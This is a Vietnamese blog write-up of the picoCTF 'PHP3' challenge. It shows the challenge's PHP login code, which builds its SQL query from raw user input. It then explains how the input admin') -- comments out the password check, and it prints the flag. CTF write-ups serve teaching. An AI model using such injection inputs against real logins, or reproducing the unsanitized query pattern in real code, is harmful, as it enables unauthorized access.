Featured Content Slider

Home » » picoctf PHP3 writeup

picoctf PHP3 writeup

Vo Uu | 07:07 | 0 nhận xét
Đề: https://picoctf.com/problems/php3/index.php

SRC:

<html>
<head>
Secure Web Login
</head>
<body>
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect("localhost","php3","xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx");
mysql_select_db("php3");

$user = $_POST[user];
$pass = md5($_POST[pass], True);
$query = @mysql_fetch_array(mysql_query("select user from php3 where (user='$user') and (pw='$pass')"));

if($query[user]=="admin") {
echo "<p>Logged in! Key: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx </p>";
}

if($query[user] != "admin") {
echo("<p>You are not admin!</p>");
}
}

?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.phps">Source</a>
</html>

 Ta chú ý phần: $query = @mysql_fetch_array(mysql_query("select user from php3 where (user='$user') and (pw='$pass')"));

Sao cho khi nhập Username bằng admin nó sẽ bỏ qua không kiểm tra $pass

Ta nhập: admin') --
thì câu query bay giờ trở thành: select user from php3 where (user='admin') --') and (pw='$pass')\
Nghĩa là đoạn: --') and (pw='$pass') sẽ trở thành comment

Và kết quả:
Logged in! Key: 8ab9b92c174dd483ad17cee1bb0c5bdb

Share this article :

0 nhận xét:

Đăng nhận xét

Recent Post

Test Footer 1

 
Support : Creating Website | Johny Template | Mas Template
Copyright © 2011. The UG - All Rights Reserved
Template Modify by Creating Website
Proudly powered by Blogger